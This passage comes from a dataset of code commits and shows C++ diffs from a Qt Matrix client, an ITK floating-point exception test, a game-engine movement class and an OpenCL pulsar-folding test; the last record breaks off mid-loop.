pt;\n}\n\nQString QMatrixClient::cacheLocation(const QString& dirName)\n{\n    const QString cachePath =\n        QStandardPaths::writableLocation(QStandardPaths::CacheLocation)\n            % '\/' % dirName % '\/';\n    QDir dir;\n    if (!dir.exists(cachePath))\n        dir.mkpath(cachePath);\n    return cachePath;\n}\n\n\/\/ Tests for function_traits<>\n\n#ifdef Q_CC_CLANG\n#pragma clang diagnostic push\n#pragma ide diagnostic ignored \"OCSimplifyInspection\"\n#endif\nusing namespace QMatrixClient;\n\nint f();\nstatic_assert(std::is_same<fn_return_t<decltype(f)>, int>::value,\n              \"Test fn_return_t<>\");\n\nvoid f1(int);\nstatic_assert(function_traits<decltype(f1)>::arg_number == 1,\n              \"Test fn_arg_number\");\n\nvoid f2(int, QString);\nstatic_assert(std::is_same<fn_arg_t<decltype(f2), 1>, QString>::value,\n              \"Test fn_arg_t<>\");\n\nstruct S { int mf(); };\nstatic_assert(is_callable_v<decltype(&S::mf)>, \"Test member function\");\nstatic_assert(returns<int, decltype(&S::mf)>(), \"Test returns<> with member function\");\n\nstruct Fo { int operator()(); };\nstatic_assert(is_callable_v<Fo>, \"Test is_callable<> with function object\");\nstatic_assert(function_traits<Fo>::arg_number == 0, \"Test function object\");\nstatic_assert(std::is_same<fn_return_t<Fo>, int>::value,\n              \"Test return type of function object\");\n\nstruct Fo1 { void operator()(int); };\nstatic_assert(function_traits<Fo1>::arg_number == 1, \"Test function object 1\");\nstatic_assert(is_callable_v<Fo1>, \"Test is_callable<> with function object 1\");\nstatic_assert(std::is_same<fn_arg_t<Fo1>, int>(),\n              \"Test fn_arg_t defaulting to first argument\");\n\n#if (!defined(_MSC_VER) || _MSC_VER >= 1910)\nstatic auto l = [] { return 1; };\nstatic_assert(is_callable_v<decltype(l)>, \"Test is_callable_v<> with lambda\");\nstatic_assert(std::is_same<fn_return_t<decltype(l)>, int>::value,\n              \"Test fn_return_t<> with lambda\");\n#endif\n\ntemplate <typename T>\nstruct fn_object\n{\n    static int smf(double) { return 0; }\n};\ntemplate <>\nstruct fn_object<QString>\n{\n    void operator()(QString);\n};\nstatic_assert(is_callable_v<fn_object<QString>>, \"Test function object\");\nstatic_assert(returns<void, fn_object<QString>>(),\n              \"Test returns<> with function object\");\nstatic_assert(!is_callable_v<fn_object<int>>, \"Test non-function object\");\n\/\/ FIXME: These two don't work\n\/\/static_assert(is_callable_v<decltype(&fn_object<int>::smf)>,\n\/\/              \"Test static member function\");\n\/\/static_assert(returns<int, decltype(&fn_object<int>::smf)>(),\n\/\/              \"Test returns<> with static member function\");\n\ntemplate <typename T>\nQString ft(T&&);\nstatic_assert(std::is_same<fn_arg_t<decltype(ft<QString>)>, QString&&>(),\n              \"Test function templates\");\n\n#ifdef Q_CC_CLANG\n#pragma clang diagnostic pop\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#include \"itkFloatingPointExceptions.h\"\n#include \"itkMacro.h\"\n#include <iostream>\n#include <float.h>\n\nint\nitkFloatingPointExceptionsTest(int argc, char *argv[] )\n{\n  itk::FloatingPointExceptions::Enable();\n  itk::FloatingPointExceptions::\n    SetExceptionAction(itk::FloatingPointExceptions::EXIT);\n  if(argc < 2)\n    {\n    std::cout << \"No test specified\" << std::endl;\n    return 1;\n    }\n  int error_return(0);\n  double force_zero_denom(0.0),test1(0.0);\n  int force_int_zero(0);\n  \/\/ this will fool the compiler into not complaining at\n  \/\/ compile time about divide by zero\n  if(argc > 32767)\n    {\n    force_zero_denom = 1.0;\n    test1 = 1.0;\n    force_int_zero = 1;\n    }\n\n  std::string testName(argv[1]);\n  if(testName == \"DivByZero\")\n    {\n    std::cout << \"Testing floating point divide by zero\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      double s = 1.0 \/ force_zero_denom;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Divide by Zero Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Expected divide by zero exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  if(testName == \"ZeroDivByZero\")\n    {\n    std::cout << \"Testing floating point zero divided by zero\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      double s = test1 \/ force_zero_denom;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Zero divide by Zero Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Expected 0.0 \/ 0.0  exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  if(testName == \"FPOverFlow\")\n    {\n    std::cout << \"Testing floating point overflow\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      double s = DBL_MAX;\n      s = s * s;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Overflow Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Overflow exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  if(testName == \"FPUnderFlow\")\n    {\n    std::cout << \"Testing floating point underflow\" << std::endl;\n    std::cout.flush();\n    \/\/ not caught as SIGFPE apparently\n    try\n      {\n      double s = DBL_MIN;\n      s = s \/ DBL_MAX;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Underflow Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Underflow exception caught\" << std::endl;\n      std::cout << e;\n      }\n    }\n\n  if(testName == \"IntDivByZero\")\n    {\n    std::cout << \"Testing integer divide by zero\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      int s = 1 \/ force_int_zero;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Integer divide by zero Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Integer divide by zero  exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  return error_return;\n}\n<commit_msg>COMP: disable warning for VS<commit_after>\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#include \"itkFloatingPointExceptions.h\"\n#include \"itkMacro.h\"\n#include <iostream>\n#include <float.h>\n\n\/** Disable some common warnings in MS VC++ *\/\n#if defined( _MSC_VER )\n#pragma warning ( disable : 4756 )\n#endif\n\nint\nitkFloatingPointExceptionsTest(int argc, char *argv[] )\n{\n  itk::FloatingPointExceptions::Enable();\n  itk::FloatingPointExceptions::\n    SetExceptionAction(itk::FloatingPointExceptions::EXIT);\n  if(argc < 2)\n    {\n    std::cout << \"No test specified\" << std::endl;\n    return 1;\n    }\n  int error_return(0);\n  double force_zero_denom(0.0),test1(0.0);\n  int force_int_zero(0);\n  \/\/ this will fool the compiler into not complaining at\n  \/\/ compile time about divide by zero\n  if(argc > 32767)\n    {\n    force_zero_denom = 1.0;\n    test1 = 1.0;\n    force_int_zero = 1;\n    }\n\n  std::string testName(argv[1]);\n  if(testName == \"DivByZero\")\n    {\n    std::cout << \"Testing floating point divide by zero\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      double s = 1.0 \/ force_zero_denom;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Divide by Zero Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Expected divide by zero exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  if(testName == \"ZeroDivByZero\")\n    {\n    std::cout << \"Testing floating point zero divided by zero\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      double s = test1 \/ force_zero_denom;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Zero divide by Zero Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Expected 0.0 \/ 0.0  exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  if(testName == \"FPOverFlow\")\n    {\n    std::cout << \"Testing floating point overflow\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      double s = DBL_MAX;\n      s = s * s;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Overflow Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Overflow exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  if(testName == \"FPUnderFlow\")\n    {\n    std::cout << \"Testing floating point underflow\" << std::endl;\n    std::cout.flush();\n    \/\/ not caught as SIGFPE apparently\n    try\n      {\n      double s = DBL_MIN;\n      s = s \/ DBL_MAX;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Underflow Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Underflow exception caught\" << std::endl;\n      std::cout << e;\n      }\n    }\n\n  if(testName == \"IntDivByZero\")\n    {\n    std::cout << \"Testing integer divide by zero\" << std::endl;\n    std::cout.flush();\n    try\n      {\n      int s = 1 \/ force_int_zero;\n      \/\/\n      \/\/ should never reach here\n      std::cout << \"Integer divide by zero Exception not caught\"\n                << \" result is \" << s << std::endl;\n      error_return++;\n      }\n    catch (itk::ExceptionObject &e)\n      {\n      std::cout << \"Integer divide by zero  exception caught\" << std::endl;\n      std::cout << e;\n      std::cout.flush();\n      }\n    }\n  return error_return;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"MoveDummy.h\"\n#include \"ObjectDummy.h\"\n#include \"BodyDummy.h\"\n#include \"ShapeCapsule.h\"\n\n#include \"Utils.h\"\n#include \"Engine.h\"\n#include \"Physics.h\"\n#include \"Game.h\"\n#include \"World.h\"\n\n#define MOVE_DUMMY_IFPS\t\t\t(1.0f\/100.0f)\t\t\n#define MOVE_DUMMY_CLAMP           89.9f\n#define MOVE_DUMMY_COLLISIONS\t\t1\n\nusing namespace MathLib;\n\nCMoveDummy::CMoveDummy()\t\t\/\/캯\n{\n\tm_pObject = new CObjectDummy();\t\t\/\/һʵ\n\tm_pDummy = new CBodyDummy();\n\tm_pShape = new CShapeCapsule(0.5f, 1.0f);\n\n\tSetCollisionMask(1);\n\tClear();\n}\n\nCMoveDummy::~CMoveDummy()\n{\n\tm_pDummy->SetObject(NULL);\n\tSAFE_DELETE(m_pObject);\n\tSAFE_DELETE(m_pDummy);\n}\n\nvoid CMoveDummy::SetCollision(int c)\n{\n\tm_nCollision = c;\n}\n\nint CMoveDummy::GetCollision() const\n{\n\treturn m_nCollision;\n}\n\nvoid CMoveDummy::SetCollisionMask(int m)\n{\n\tm_pShape->SetCollisionMask(m);\n}\n\nint CMoveDummy::GetCollisionMask() const\n{\n\treturn m_nCollisionMask;\n}\n\nvoid CMoveDummy::SetGround(int g)\n{\n\tm_nGround = g;\n}\n\n<commit_msg>Signed-off-by: mrlitong <litongtongxue@gmail.com><commit_after>#include \"MoveDummy.h\"\n#include \"ObjectDummy.h\"\n#include \"BodyDummy.h\"\n#include \"ShapeCapsule.h\"\n\n#include \"Utils.h\"\n#include \"Engine.h\"\n#include \"Physics.h\"\n#include \"Game.h\"\n#include \"World.h\"\n\n#define MOVE_DUMMY_IFPS\t\t\t(1.0f\/100.0f)\t\t\n#define MOVE_DUMMY_CLAMP           89.9f\n#define MOVE_DUMMY_COLLISIONS\t\t1\n\nusing namespace MathLib;\n\nCMoveDummy::CMoveDummy()\t\t\/\/캯\n{\n\tm_pObject = new CObjectDummy();\t\t\/\/һʵ\n\tm_pDummy = new CBodyDummy();\n\tm_pShape = new CShapeCapsule(0.5f, 1.0f);\n\n\tSetCollisionMask(1);\n\tClear();\n}\n\nCMoveDummy::~CMoveDummy()\n{\n\tm_pDummy->SetObject(NULL);\n\tSAFE_DELETE(m_pObject);\n\tSAFE_DELETE(m_pDummy);\n}\n\nvoid CMoveDummy::SetCollision(int c)\n{\n\tm_nCollision = c;\n}\n\nint CMoveDummy::GetCollision() const\n{\n\treturn m_nCollision;\n}\n\nvoid CMoveDummy::SetCollisionMask(int m)\n{\n\tm_pShape->SetCollisionMask(m);\n}\n\nint CMoveDummy::GetCollisionMask() const\n{\n\treturn m_nCollisionMask;\n}\n\nvoid CMoveDummy::SetGround(int g)\n{\n\tm_nGround = g;\n}\n\nint CMoveDummy::GetGround() const\n{\n\treturn m_nGround;\n}<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (C) 2012\n\/\/ Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#include <iostream>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\n#include <string>\nusing std::string;\n#include <vector>\nusing std::vector;\n#include <exception>\nusing std::exception;\n#include <iomanip>\nusing std::fixed;\nusing std::setprecision;\n#include <limits>\nusing std::numeric_limits;\n#include <cmath>\n#include <ctime>\n\n#include <ArgumentList.hpp>\nusing isa::utils::ArgumentList;\n#include <Observation.hpp>\nusing AstroData::Observation;\n#include <InitializeOpenCL.hpp>\nusing isa::OpenCL::initializeOpenCL;\n#include <CLData.hpp>\nusing isa::OpenCL::CLData;\n#include <utils.hpp>\nusing isa::utils::same;\n#include <Folding.hpp>\nusing PulsarSearch::Folding;\n#include <FoldingCPU.hpp>\nusing PulsarSearch::folding;\n#include <Bins.hpp>\nusing PulsarSearch::getNrSamplesPerBin;\n\ntypedef float dataType;\nconst string typeName(\"float\");\nconst unsigned int padding = 32;\n\n\/\/ LOFAR\n\/\/const unsigned int nrSamplesPerSecond = 200000;\n\/\/ Apertif\nconst unsigned int nrSamplesPerSecond = 20000;\n\/\/ DMs\nconst unsigned int nrDMs = 256;\n\/\/ Periods\nconst unsigned int nrPeriods = 128;\nconst unsigned int nrBins = 256;\nconst unsigned int periodStep = 64;\n\n\nint main(int argc, char *argv[]) {\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tlong long unsigned int wrongValues = 0;\n\tObservation< dataType > observation(\"FoldingTest\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * readCounterData = new CLData< unsigned int >(\"ReadCounterData\", true);\n\tCLData< unsigned int > * writeCounterData = new CLData< unsigned int >(\"WriteCounterData\", true);\n\tCLData< unsigned int > * nrSamplesPerBin = new CLData< unsigned int >(\"NrSamplesPerBin\", true);\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\n\t} catch ( exception &err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Setup of the observation\n\tobservation.setPadding(padding);\n\tobservation.setNrSamplesPerSecond(nrSamplesPerSecond);\n\tobservation.setNrDMs(nrDMs);\n\tobservation.setNrPeriods(nrPeriods);\n\tobservation.setFirstPeriod(nrBins);\n\tobservation.setPeriodStep(periodStep);\n\tobservation.setNrBins(nrBins);\n\t\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\treadCounterData->allocateHostData(observation.getNrPeriods() * 2 * observation.getNrPaddedBins());\n\treadCounterData->blankHostData();\n\twriteCounterData->allocateHostData(observation.getNrPeriods() * 2 * observation.getNrPaddedBins());\n\twriteCounterData->blankHostData();\n\tvector< unsigned int > * nrSamplesPerBinData = getNrSamplesPerBin(observation);\n\tnrSamplesPerBin->allocateHostData(*nrSamplesPerBinData);\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\treadCounterData->setCLContext(clContext);\n\treadCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\twriteCounterData->setCLContext(clContext);\n\twriteCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setCLContext(clContext);\n\tnrSamplesPerBin->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setDeviceReadOnly();\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\treadCounterData->allocateDeviceData();\n\t\treadCounterData->copyHostToDevice();\n\t\twriteCounterData->allocateDeviceData();\n\t\twriteCounterData->copyHostToDevice();\n\t\tnrSamplesPerBin->allocateDeviceData();\n\t\tnrSamplesPerBin->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\tsrand(time(NULL));\n\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\tdedispersedData->setHostDataItem((sample * observation.getNrPaddedDMs()) + DM, rand() % 100);\n\t\t}\n\t}\n\n\t\/\/ Test\n\ttry {\n\t\t\/\/ Generate kernel\n\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\tclFold.setObservation(&observation);\n\t\tclFold.setNrSamplesPerBin(nrSamplesPerBin);\n\t\tclFold.setNrDMsPerBlock(128);\n\t\tclFold.setNrPeriodsPerBlock(2);\n\t\tclFold.setNrBinsPerBlock(1);\n\t\tclFold.setNrDMsPerThread(2);\n\t\tclFold.setNrPeriodsPerThread(2);\n\t\tclFold.setNrBinsPerThread(4);\n\t\tclFold.generateCode();\n\n\t\tdedispersedData->copyHostToDevice();\n\t\tclFold(0, dedispersedData, foldedData, readCounterData, writeCounterData);\n\t\tfoldedData->copyDeviceToHost();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Check\n\tCLData< dataType > * CPUFolded = new CLData<dataType >(\"CPUFolded\", true);\n\tCLData< unsigned int > * CPUCounter = new CLData< unsigned int >(\"CPUCounter\", true);\n\tCPUFolded->allocateHostData(observation.getNrBins() * observation.getNrPeriods() * observation.getNrPaddedDMs());\n\tCPUCounter->allocateHostData(observation.getNrPeriods() * 2 * observation.getNrPaddedBins());\n\tCPUCounter->blankHostData();\n\tfolding(0, observation, dedispersedData->getHostData(), CPUFolded->getHostData(), CPUCounter->getHostData());\n\tfor ( unsigned int bin = 0; bin < observation.getNrBins(); bin++ ) {\n\t\tlong long unsigned int wrongValuesBin = 0;\n\n\t\tfor ( unsigned int period = 0; period < observation.getNrPeriods(); period++ ) {\n\t\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\t\tconst unsigned int dataItem = (bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (period * observation.getNrPaddedDMs()) + DM;\n\t\t\t\tif ( !same(CPUFolded->getHostDataItem(dataItem), foldedData->getHostDataItem(dataItem)) ) {\n\t\t\t\t\twrongValues++;\n\t\t\t\t\twrongValuesBin++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( wrongValuesBin > 0 ) {\n\t\t\tcout << \"Wrong samples bin \" << bin << \": \" << wrongValuesBin << \" (\" << (wrongValuesBin * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods()) << \"%).\" << endl;\n\t\t}\n\t}\t\n\n\tcout << endl;\n\tcout << \"Wrong samples: \" << wrongValues << \" (\" << (wrongValues * 100) \/ (static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrPeriods() * observation.getNrBins()) << \"%).\" << endl;\n\tcout << endl;\n\n\treturn 0;\n}\n\n<commit_msg>I was allocating too much memory for the counters.<commit_after>\/\/\n\/\/ Copyright (C) 2012\n\/\/ Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#include <iostream>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\n#include <string>\nusing std::string;\n#include <vector>\nusing std::vector;\n#include <exception>\nusing std::exception;\n#include <iomanip>\nusing std::fixed;\nusing std::setprecision;\n#include <limits>\nusing std::numeric_limits;\n#include <cmath>\n#include <ctime>\n\n#include <ArgumentList.hpp>\nusing isa::utils::ArgumentList;\n#include <Observation.hpp>\nusing AstroData::Observation;\n#include <InitializeOpenCL.hpp>\nusing isa::OpenCL::initializeOpenCL;\n#include <CLData.hpp>\nusing isa::OpenCL::CLData;\n#include <utils.hpp>\nusing isa::utils::same;\n#include <Folding.hpp>\nusing PulsarSearch::Folding;\n#include <FoldingCPU.hpp>\nusing PulsarSearch::folding;\n#include <Bins.hpp>\nusing PulsarSearch::getNrSamplesPerBin;\n\ntypedef float dataType;\nconst string typeName(\"float\");\nconst unsigned int padding = 32;\n\n\/\/ LOFAR\n\/\/const unsigned int nrSamplesPerSecond = 200000;\n\/\/ Apertif\nconst unsigned int nrSamplesPerSecond = 20000;\n\/\/ DMs\nconst unsigned int nrDMs = 256;\n\/\/ Periods\nconst unsigned int nrPeriods = 128;\nconst unsigned int nrBins = 256;\nconst unsigned int periodStep = 64;\n\n\nint main(int argc, char *argv[]) {\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tlong long unsigned int wrongValues = 0;\n\tObservation< dataType > observation(\"FoldingTest\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * readCounterData = new CLData< unsigned int >(\"ReadCounterData\", true);\n\tCLData< unsigned int > * writeCounterData = new CLData< unsigned int >(\"WriteCounterData\", true);\n\tCLData< unsigned int > * nrSamplesPerBin = new CLData< unsigned int >(\"NrSamplesPerBin\", true);\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\n\t} catch ( exception &err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Setup of the observation\n\tobservation.setPadding(padding);\n\tobservation.setNrSamplesPerSecond(nrSamplesPerSecond);\n\tobservation.setNrDMs(nrDMs);\n\tobservation.setNrPeriods(nrPeriods);\n\tobservation.setFirstPeriod(nrBins);\n\tobservation.setPeriodStep(periodStep);\n\tobservation.setNrBins(nrBins);\n\t\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\treadCounterData->allocateHostData(observation.getNrPeriods() * observation.getNrPaddedBins());\n\treadCounterData->blankHostData();\n\twriteCounterData->allocateHostData(observation.getNrPeriods() * observation.getNrPaddedBins());\n\twriteCounterData->blankHostData();\n\tvector< unsigned int > * nrSamplesPerBinData = getNrSamplesPerBin(observation);\n\tnrSamplesPerBin->allocateHostData(*nrSamplesPerBinData);\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\treadCounterData->setCLContext(clContext);\n\treadCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\twriteCounterData->setCLContext(clContext);\n\twriteCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setCLContext(clContext);\n\tnrSamplesPerBin->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setDeviceReadOnly();\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\treadCounterData->allocateDeviceData();\n\t\treadCounterData->copyHostToDevice();\n\t\twriteCounterData->allocateDeviceData();\n\t\twriteCounterData->copyHostToDevice();\n\t\tnrSamplesPerBin->allocateDeviceData();\n\t\tnrSamplesPerBin->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\tsrand(time(NULL));\n\tfor ( unsigned int sample = 0; sample < observation.getNrSamplesPerSecond(); sample++ ) {\n\t\tfor ( unsigned int DM = 0; DM < observation.getNrDMs(); DM++ ) {\n\t\t\tdedispersedData->setHostDataItem((sample * observation.getNrPaddedDMs()) + DM, rand() % 100);\n\t\t}\n\t}\n\n\t\/\/ Test\n\ttry {\n\t\t\/\/ Generate kernel\n\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\tclFold.setObservation(&observation);\n\t\tclFold.setNrSamplesPerBin(nrSamplesPerBin);\n\t\tclFold.setNrDMsPerBlock(128);\n\t\tclFold.setNrPeriodsPerBlock(2);\n\t\tclFold.setNrBinsPerBlock(1);\n\t\tclFold.setNrDMsPerThread(2);\n\t\tclFold.setNrPeriodsPerThread(2);\n\t\tclFold.setNrBinsPerThread(4);\n\t\tclFold.generateCode();\n\n\t\tdedispersedData->copyHostToDevice();\n\t\tclFold(0, dedispersedData, foldedData, readCounterData, writeCounterData);\n\t\tfoldedData->copyDeviceToHost();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\t\n\t\/\/ Check\n\tCLData< dataType > * CPUFolded = new CLData<dataType >(\"CPUFolded\", true);\n\tCLData< unsigned int > * CPUCounter = new CLData< unsigned int >(\"CPUCounter\", true);\n\tCPUFolded->allocateHostData(observation.getNrBins() * observation.getNrPeriods() * observation.getNrPaddedDMs());\n\tCPUCounter->allocateHostData(observation.getNrPeriods() * observation.getNrPaddedBins());\n\tCPUCounter->blankHostData();\n\tfolding(0, observation, dedispersedData->getHostData(), CPUFolded->getHostData(), CPUCounter->getHostData());\n\tfor ( unsigned int bin = 0; bin < observation.getNrBins(); bin++ ) {\n\t\tlong long unsigned int wrongValuesBin = 0;\n\n\t\tfor ( unsigned int period = 0; 